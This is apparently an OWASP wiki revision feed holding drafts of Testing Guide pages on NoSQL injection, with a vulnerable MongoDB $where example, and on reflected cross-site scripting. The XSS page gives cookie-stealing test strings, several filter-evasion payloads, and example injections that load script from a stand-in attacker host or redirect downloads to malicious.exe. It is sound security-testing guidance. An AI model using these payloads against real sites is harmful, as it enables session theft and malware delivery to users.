&amp;lt;code&amp;gt;db.myCollection.find(&amp;quot;{ $where: 'this.credits &amp;gt; &amp;quot; + userinput + &amp;quot;' }&amp;quot;);&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
With normal SQL injection, a similar vulnerability would allow an attacker to execute arbitrary SQL commands - exposing or manipulating data at will. However, because JavaScript is a fully featured language, not only does this allow an attacker to manipulate data, but also to run arbitrary code. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
http://blogs.adobe.com/asset/files/2011/04/NoSQL-But-Even-Less-Security.pdf&lt;br /&gt;
&lt;br /&gt;
http://erlend.oftedal.no/blog/?blogid=110&lt;br /&gt;
&lt;br /&gt;
http://seclists.org/fulldisclosure/2011/Dec/383&lt;br /&gt;
&lt;br /&gt;
https://media.blackhat.com/bh-us-11/Sullivan/BH_US_11_Sullivan_Server_Side_WP.pdf&lt;br /&gt;
&lt;br /&gt;
http://docs.mongodb.org/manual/faq/developers/#how-does-mongodb-address-sql-or-query-injection&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Ben Walther</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_NoSQL_injection&amp;diff=156610</id>
		<title>Testing for NoSQL injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_NoSQL_injection&amp;diff=156610"/>
				<updated>2013-08-09T15:36:27Z</updated>
		
		<summary type="html">&lt;p&gt;Ben Walther: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax. Because these NoSQL injection attacks may execute within a procedural[http://en.wikipedia.org/wiki/Procedural_programming] language , rather than in the declarative[http://en.wikipedia.org/wiki/Declarative_programming] SQL language, the potential impacts are greater than traditional SQL injection.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
NoSQL database calls are written in the application's programming language, a custom API call, or formatted according to a common convention (such as XML, JSON, LINQ, etc). Malicious input targeting those specifications may not trigger the primarily application sanitization checks. For example, filtering out common HTML special characters such as &amp;lt;code&amp;gt; &amp;lt; &amp;gt; &amp;amp; ; &amp;lt;/code&amp;gt; will not prevent attacks against a JSON API, where special characters include &amp;lt;code&amp;gt; / { } : &amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
There are now over 150 NoSQL databases available[http://nosql-database.org/] for use within an application, providing APIs in a variety of languages and relationship models. Each offers different features and restrictions. Because there is not a common language between them, example injection code will not apply across all NoSQL databases. For this reason, anyone testing for NoSQL injection attacks will need to familiarize themselves with the syntax, data model, and underlying programming language in order to craft specific tests.&lt;br /&gt;
&lt;br /&gt;
NoSQL injection attacks may execute in different areas of an application than traditional SQL injection. Where SQL injection would execute within the database engine, NoSQL variants may execute during within the application layer or the database layer, depending on the NoSQL API used and data model. Typically NoSQL injection attacks will execute where the attack string is parsed, evaluated, or concatenated into a NoSQL API call.&lt;br /&gt;
&lt;br /&gt;
Additional timing attacks may be relevant to the lack of concurrency checks within a NoSQL database. These are not covered under injection testing.&lt;br /&gt;
&lt;br /&gt;
At the time of writing MongoDB is the most widely used NoSQL database, and so all examples will feature MongoDB APIs.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
http://blogs.adobe.com/asset/files/2011/04/NoSQL-But-Even-Less-Security.pdf&lt;br /&gt;
&lt;br /&gt;
http://erlend.oftedal.no/blog/?blogid=110&lt;br /&gt;
&lt;br /&gt;
http://seclists.org/fulldisclosure/2011/Dec/383&lt;br /&gt;
&lt;br /&gt;
https://media.blackhat.com/bh-us-11/Sullivan/BH_US_11_Sullivan_Server_Side_WP.pdf&lt;br /&gt;
&lt;br /&gt;
http://docs.mongodb.org/manual/faq/developers/#how-does-mongodb-address-sql-or-query-injection&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Ben Walther</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_NoSQL_injection&amp;diff=156609</id>
		<title>Testing for NoSQL injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_NoSQL_injection&amp;diff=156609"/>
				<updated>2013-08-09T15:36:02Z</updated>
		
		<summary type="html">&lt;p&gt;Ben Walther: Background and References.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax. Because these NoSQL injection attacks may execute within a procedural[http://en.wikipedia.org/wiki/Procedural_programming] language , rather than in the declarative[http://en.wikipedia.org/wiki/Declarative_programming] SQL language, the potential impacts are greater than traditional SQL injection.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
NoSQL database calls are written in the application's programming language, a custom API call, or formatted according to a common convention (such as XML, JSON, LINQ, etc). Malicious input targeting those specifications may not trigger the primarily application sanitization checks. For example, filtering out common HTML special characters such as &amp;lt;code&amp;gt; &amp;lt; &amp;gt; &amp;amp; ; &amp;lt;/code&amp;gt; will not prevent attacks against a JSON API, where special characters include &amp;lt;code&amp;gt; / { } : &amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
There are now over 150 NoSQL databases available[http://nosql-database.org/] for use within an application, providing APIs in a variety of languages and relationship models. Each offers different features and restrictions. Because there is not a common language between them, example injection code will not apply across all NoSQL databases. For this reason, anyone testing for NoSQL injection attacks will need to familiarize themselves with the syntax, data model, and underlying programming language in order to craft specific tests.&lt;br /&gt;
&lt;br /&gt;
NoSQL injection attacks may execute in different areas of an application than traditional SQL injection. Where SQL injection would execute within the database engine, NoSQL variants may execute during within the application layer or the database layer, depending on the NoSQL API used and data model. Typically NoSQL injection attacks will execute where the attack string is parsed, evaluated, or concatenated into a NoSQL API call.&lt;br /&gt;
&lt;br /&gt;
Additional timing attacks may be relevant to the lack of concurrency checks within a NoSQL database. These are not covered under injection testing.&lt;br /&gt;
&lt;br /&gt;
At the time of writing MongoDB is the most widely used NoSQL database, and so all examples will feature MongoDB APIs.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
http://blogs.adobe.com/asset/files/2011/04/NoSQL-But-Even-Less-Security.pdf&lt;br /&gt;
http://erlend.oftedal.no/blog/?blogid=110&lt;br /&gt;
http://seclists.org/fulldisclosure/2011/Dec/383&lt;br /&gt;
https://media.blackhat.com/bh-us-11/Sullivan/BH_US_11_Sullivan_Server_Side_WP.pdf&lt;br /&gt;
http://docs.mongodb.org/manual/faq/developers/#how-does-mongodb-address-sql-or-query-injection&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Ben Walther</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_NoSQL_injection&amp;diff=156608</id>
		<title>Testing for NoSQL injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_NoSQL_injection&amp;diff=156608"/>
				<updated>2013-08-09T15:29:11Z</updated>
		
		<summary type="html">&lt;p&gt;Ben Walther: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax. Because these NoSQL injection attacks may execute within a procedural[http://en.wikipedia.org/wiki/Procedural_programming] language , rather than in the declarative[http://en.wikipedia.org/wiki/Declarative_programming] SQL language, the potential impacts are greater than traditional SQL injection.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
NoSQL database calls are written in the application's programming language, a custom API call, or formatted according to a common convention (such as XML, JSON, LINQ, etc). Malicious input targeting those specifications may not trigger the primarily application sanitization checks. For example, filtering out common HTML special characters such as &amp;lt;pre&amp;gt; &amp;lt; &amp;gt; &amp;amp; ; &amp;lt;/pre&amp;gt; will not prevent JSON attacks, whose special characters include &amp;lt;pre&amp;gt; / { } : &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
There are now over 150 NoSQL databases available[http://nosql-database.org/] for use within an application, providing APIs in a variety of languages and relationship models. Each offers different features and restrictions. Because there is not a common language between them, example injection code will not apply across all NoSQL databases. For this reason, anyone testing for NoSQL injection attacks will need to familiarize themselves with the syntax, data model, and underlying programming language in order to craft specific tests.&lt;br /&gt;
&lt;br /&gt;
Additional timing attacks may be relevant to the lack of concurrency checks within a NoSQL database. These are not covered under injection testing.&lt;br /&gt;
&lt;br /&gt;
At the time of writing MongoDB is the most widely used NoSQL database, and so all examples will feature MongoDB APIs.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Ben Walther</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=156350</id>
		<title>Testing for Reflected Cross site scripting (OTG-INPVAL-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=156350"/>
				<updated>2013-08-01T18:31:46Z</updated>
		
		<summary type="html">&lt;p&gt;Ben Walther: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Reflected [[Cross-site Scripting (XSS)]] occur when an attacker injects browser executable code within a single HTTP response. The injected attack is not stored within the application itself; it is non-persistent and only impacts users who open a maliciously crafted link or third-party web page. The attack string is included as part of the crafted URI or HTTP parameters, improperly processed by the application, and returned to the victim.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Reflected XSS are the most frequent type of XSS attacks found in the wild.&lt;br /&gt;
&lt;br /&gt;
Reflected XSS attacks are also known as non-persistent XSS attacks and, since the attack payload is delivered and executed via a single request and response, they are also referred to as first-order or type 1 XSS. Because the attack hijacks the browser's trust of the web application, it is a type of &amp;quot;Confused Deputy http://en.wikipedia.org/wiki/Confused_deputy_problem]&amp;quot; attack. &lt;br /&gt;
&lt;br /&gt;
When a web application is vulnerable to this type of attack, it will &lt;br /&gt;
pass unvalidated input sent through requests back to the client. The common modus &lt;br /&gt;
operandi of the attack includes a design step, in which the attacker &lt;br /&gt;
creates and tests an offending URI, a social engineering step, in which &lt;br /&gt;
she convinces her victims to load this URI on their browsers, and the eventual &lt;br /&gt;
execution of the offending code using the victim's browser. &lt;br /&gt;
&lt;br /&gt;
Commonly the attacker's code is written in the Javascript language, but  &lt;br /&gt;
other scripting languages are also used, e.g., ActionScript and VBScript. &lt;br /&gt;
&lt;br /&gt;
Attackers typically leverage these vulnerabilities to &lt;br /&gt;
install key loggers, steal victim cookies, perform clipboard theft, and &lt;br /&gt;
change the content of the page (e.g., download links). &lt;br /&gt;
&lt;br /&gt;
One of the primary difficulties in preventing XSS vulnerabilities is proper character encoding. &lt;br /&gt;
In some cases, the web server or the web application could not be filtering some &lt;br /&gt;
encodings of characters, so, for example, the web application might filter out &amp;quot;&amp;lt;script&amp;gt;&amp;quot;, &lt;br /&gt;
but might not filter %3cscript%3e which simply includes another encoding of tags.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
A black-box test will include at least three phases:&lt;br /&gt;
&lt;br /&gt;
1. Detect input vectors. For each web page, the tester must determine all the web application's user-defined variables and how to input them. This includes hidden or non-obvious inputs such as HTTP parameters, POST data, hidden form field values, and predefined radio or selection values. Typically in-browser HTML editors or web proxies are used to view these hidden variables. See the example below.&lt;br /&gt;
&lt;br /&gt;
2. Analyze each input vector to detect potential vulnerabilities. To detect an XSS vulnerability, the tester will typically use specially crafted input data with each input vector. Such input data is typically harmless, but trigger responses from the web browser that manifests the vulnerability. Testing data can be generated by using a web application fuzzer, an automated predefined list of known attack strings, or manually. &amp;lt;br /&amp;gt;Some example of such input data are the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
“&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
For a comprehensive list of potential test strings, see the [[XSS Filter Evasion Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
3. For each test input attempted in the previous phase, the tester will analyze the result and determine if it represents a vulnerability that has a realistic impact on the web application's security. This requires examining the resulting web page HTML and searching for the test input. Once found, the tester identifies any special characters that were not properly encoded, replaced, or filtered out. The set of vulnerable unfiltered special characters will depend on the context of that section of HTML. &lt;br /&gt;
&lt;br /&gt;
Ideally all HTML special characters will be replaced with HTML entities. The key HTML entities to identify are: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;gt; (greater than) &lt;br /&gt;
&amp;lt; (less than) &lt;br /&gt;
&amp;amp; (ampersand)&lt;br /&gt;
' (apostrophe or single quote)&lt;br /&gt;
&amp;quot; (double quote)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
However, a full list of entities is defined by the HTML and XML specifications. Wikipedia has a complete reference [http://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references].&lt;br /&gt;
&lt;br /&gt;
Within the context of an HTML action or JavaScript code, a different set of special characters will need to be escaped, encoded, replaced, or filtered out. These characters include: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
\n (new line)&lt;br /&gt;
\r (carriage return)&lt;br /&gt;
\' (apostrophe or single quote)&lt;br /&gt;
\&amp;quot; (double quote)&lt;br /&gt;
\\ (backslash)&lt;br /&gt;
\uXXXX (unicode values)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For a more complete reference, see the Mozilla JavaScript guide. [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Using_special_characters_in_strings]&lt;br /&gt;
&lt;br /&gt;
=== Example 1 ===&lt;br /&gt;
For example, consider a site that has a welcome notice &amp;quot; Welcome %username% &amp;quot; and a download link. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example1.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The tester must suspect that every data entry point can result in an XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability. &lt;br /&gt;
Let's try to click on the following link and see what happens:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/index.php?user=&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If no sanitization is applied this will result in the following popup:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:alert.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This indicates that there is an XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link.&lt;br /&gt;
&lt;br /&gt;
=== Example 2 ===&lt;br /&gt;
Let's try other piece of code (link):&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/index.php?user=&amp;lt;script&amp;gt;window.onload = function() {var AllLinks=document.getElementsByTagName(&amp;quot;a&amp;quot;); &lt;br /&gt;
AllLinks[0].href = &amp;quot;http://badexample.com/malicious.exe&amp;quot;; }&amp;lt;/script&amp;gt; &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This produces the following behavior:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example2.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.&lt;br /&gt;
&lt;br /&gt;
== Bypass XSS filters  ==&lt;br /&gt;
Reflected cross-site scripting attacks are prevented as the web application sanitizes input, a web&lt;br /&gt;
application firewall blocks malicious input, or by mechanisms embedded in modern web browsers.&lt;br /&gt;
&lt;br /&gt;
The tester must test for vulnerabilities assuming that web browsers will not prevent the attack. Browsers may be out of date, or have built-in security features disabled.&lt;br /&gt;
&lt;br /&gt;
Similarly, web application firewalls are not guaranteed to recognize novel, unknown attacks. An attacker could craft an attack string that is unrecognized by the web application firewall.&lt;br /&gt;
&lt;br /&gt;
Thus, the majority of XSS prevention must depend on the web application's sanitization of untrusted user input. There are several mechanisms available to developers for sanitization, such as returning an error, removing, encoding, or replacing invalid input. The means by which the application detects and corrects invalid input is another primary weakness in preventing XSS. A blacklist may not include all possible attack strings, a whitelist may be overly permissive, the sanitization could fail, or a type of input may be incorrectly trusted and remain unsanitized. All of these allow attackers to circumvent XSS filters.&lt;br /&gt;
&lt;br /&gt;
The [[XSS Filter Evasion Cheat Sheet]] documents common filter evasion tests.&lt;br /&gt;
&lt;br /&gt;
=== Example 3: Tag Attribute Value ===&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Since these filters are based on a blacklist, they could not block every type of expressions. In fact, there are cases in which an XSS exploit can be carried out without the use of &amp;lt;script&amp;gt; tags and even without the use of characters such as &amp;quot; &amp;lt; &amp;gt; and / that are commonly filtered.&lt;br /&gt;
For example, the web application could use the user input value to fill an attribute, as shown in the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;state&amp;quot; value=&amp;quot;INPUT_FROM_USER&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then an attacker could submit the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;quot; onfocus=&amp;quot;alert(document.cookie)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 4: Different syntax or enconding ===&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
In some cases it is possible that signature-based filters can be simply defeated by obfuscating the attack. Typically you can do this through the insertion of unexpected variations in the syntax or in the enconding. These variations are tolerated by browsers as valid HTML when the code is returned, and yet they could also be accepted by the filter. &lt;br /&gt;
Following some examples:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;quot;&amp;gt;&amp;lt;script &amp;gt;alert(document.cookie)&amp;lt;/script &amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;quot;&amp;gt;&amp;lt;ScRiPt&amp;gt;alert(document.cookie)&amp;lt;/ScRiPt&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;quot;%3cscript%3ealert(document.cookie)%3c/script%3e&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 5: Bypassing non-recursive filtering ===&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Sometimes the sanitization is applied only once and it is not being performed recursively. In this case the attacker can beat the filter by sending a string containing multiple attempts, like this one:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;scr&amp;lt;script&amp;gt;ipt&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 6: Including external script ===&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Now suppose that developers of the target site implemented the following code to protect the input from the inclusion of external script: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?&lt;br /&gt;
   $re = &amp;quot;/&amp;lt;script[^&amp;gt;]+src/i&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
   if (preg_match($re, $_GET['var'])) &lt;br /&gt;
   {&lt;br /&gt;
      echo &amp;quot;Filtered&amp;quot;;&lt;br /&gt;
      return; &lt;br /&gt;
   }&lt;br /&gt;
   echo &amp;quot;Welcome &amp;quot;.$_GET['var'].&amp;quot; !&amp;quot;;&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this scenario there is a regular expression checking if &amp;lt;b&amp;gt;&amp;lt;script [anything but the character: '&amp;gt;' ] src&amp;lt;/b&amp;gt; is inserted. This is useful for filtering expressions like &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script src=&amp;quot;http://attacker/xss.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
which is a common attack. But, in this case, it is possible to bypass the sanitization by using the &amp;quot;&amp;gt;&amp;quot; character in an attribute between script and src, like this: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://example/?var=&amp;lt;SCRIPT%20a=&amp;quot;&amp;gt;&amp;quot;%20SRC=&amp;quot;http://attacker/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will exploit the reflected cross site scripting vulnerability shown before, executing the javascript code stored on the attacker's web server as if it was &lt;br /&gt;
originating from the victim web site, http://example/. &lt;br /&gt;
&lt;br /&gt;
=== Example 7: HTTP Parameter Pollution (HPP) ===&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Another method to bypass filters is the HTTP Parameter Pollution, this technique was first presented by Stefano di Paola and Luca Carettoni in 2009 at the OWASP &lt;br /&gt;
Poland conference. See the [[Testing for HTTP Parameter pollution (OWASP-DV-004)|Testing for HTTP Parameter pollution]] for more information. &lt;br /&gt;
This evasion technique consists of splitting an attack vector between multiple parameters that have the same name. The manipulation of the value of each &lt;br /&gt;
parameter depends on how each web technology is parsing these parameters, so this type of evasion is not always possible.&lt;br /&gt;
If the tested environment concatenates the values of all parameters with the same name, then an attacker could use this technique in order to bypass pattern-&lt;br /&gt;
based security mechanisms.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Regular attack: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://example/page.php?param=&amp;lt;script&amp;gt;[...]&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Attack using HPP:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://example/page.php?param=&amp;lt;script&amp;amp;param=&amp;gt;[...]&amp;lt;/&amp;amp;param=script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''' Result expected '''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
See the [[XSS Filter Evasion Cheat Sheet]] for a more detailed list of filter evasion techniques.&lt;br /&gt;
Finally, analyzing answers can get complex. A simple way to do this is to use code that pops up a dialog, as in our example. This typically indicates that an attacker could execute arbitrary JavaScript of his choice in the visitors' browsers. &lt;br /&gt;
&lt;br /&gt;
== Gray Box testing ==&lt;br /&gt;
Gray Box testing is similar to Black box testing. In gray box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and how the user input is rendered back to the user might be known by the pen-tester. &lt;br /&gt;
&lt;br /&gt;
If source code is available (White Box), all variables received from users should be analyzed. Moreover the tester should analyze any sanitization procedures implemented to decide if these can be circumvented. &lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[[XSS Filter Evasion Cheat Sheet]] &lt;br /&gt;
'''Books'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Joel Scambray, Mike Shema, Caleb Sima - &amp;quot;Hacking Exposed Web Applications&amp;quot;, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto - &amp;quot;The Web Application's Handbook - Discovering and Exploiting Security Flaws&amp;quot;, 2008, Wiley, ISBN 978-0-470-17077-9&lt;br /&gt;
* Jeremiah Grossman, Robert &amp;quot;RSnake&amp;quot; Hansen, Petko &amp;quot;pdp&amp;quot; D. Petkov, Anton Rager, Seth Fogie - &amp;quot;Cross Site Scripting Attacks: XSS Exploits and Defense&amp;quot;, 2007, Syngress, ISBN-10: 1-59749-154-3&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* '''CERT''' - Malicious HTML Tags Embedded in Client Web Requests: [http://www.cert.org/advisories/CA-2000-02.html Read]&lt;br /&gt;
* '''Rsnake''' - XSS Cheat Sheet: [http://ha.ckers.org/xss.html Read]&lt;br /&gt;
* '''cgisecurity.com''' - The Cross Site Scripting FAQ: [http://www.cgisecurity.com/articles/xss-faq.shtml Read]&lt;br /&gt;
* '''G.Ollmann''' - HTML Code Injection and Cross-site scripting: [http://www.technicalinfo.net/papers/CSS.html Read]&lt;br /&gt;
* '''A. Calvo, D.Tiscornia''' - alert('A javascritp agent'): [http://corelabs.coresecurity.com/index.php?module=FrontEndMod&amp;amp;action=view&amp;amp;type=publication&amp;amp;name=alert%28A_javascritp_agent%29 Read] ( To be published )&lt;br /&gt;
* '''S. Frei, T. Dübendorfer, G. Ollmann, M. May''' - Understanding the Web browser threat: [http://www.techzoom.net/publications/insecurity-iceberg/index.en Read]&lt;br /&gt;
'''Tools''' &amp;lt;br&amp;gt;&lt;br /&gt;
* '''[[OWASP CAL9000 Project|OWASP CAL9000]]''' &lt;br /&gt;
CAL9000 is a collection of web application security testing tools that complement the feature set of current web proxies and automated scanners. It's hosted as a reference at http://yehg.net/lab/pr0js/pentest/CAL9000/ .&lt;br /&gt;
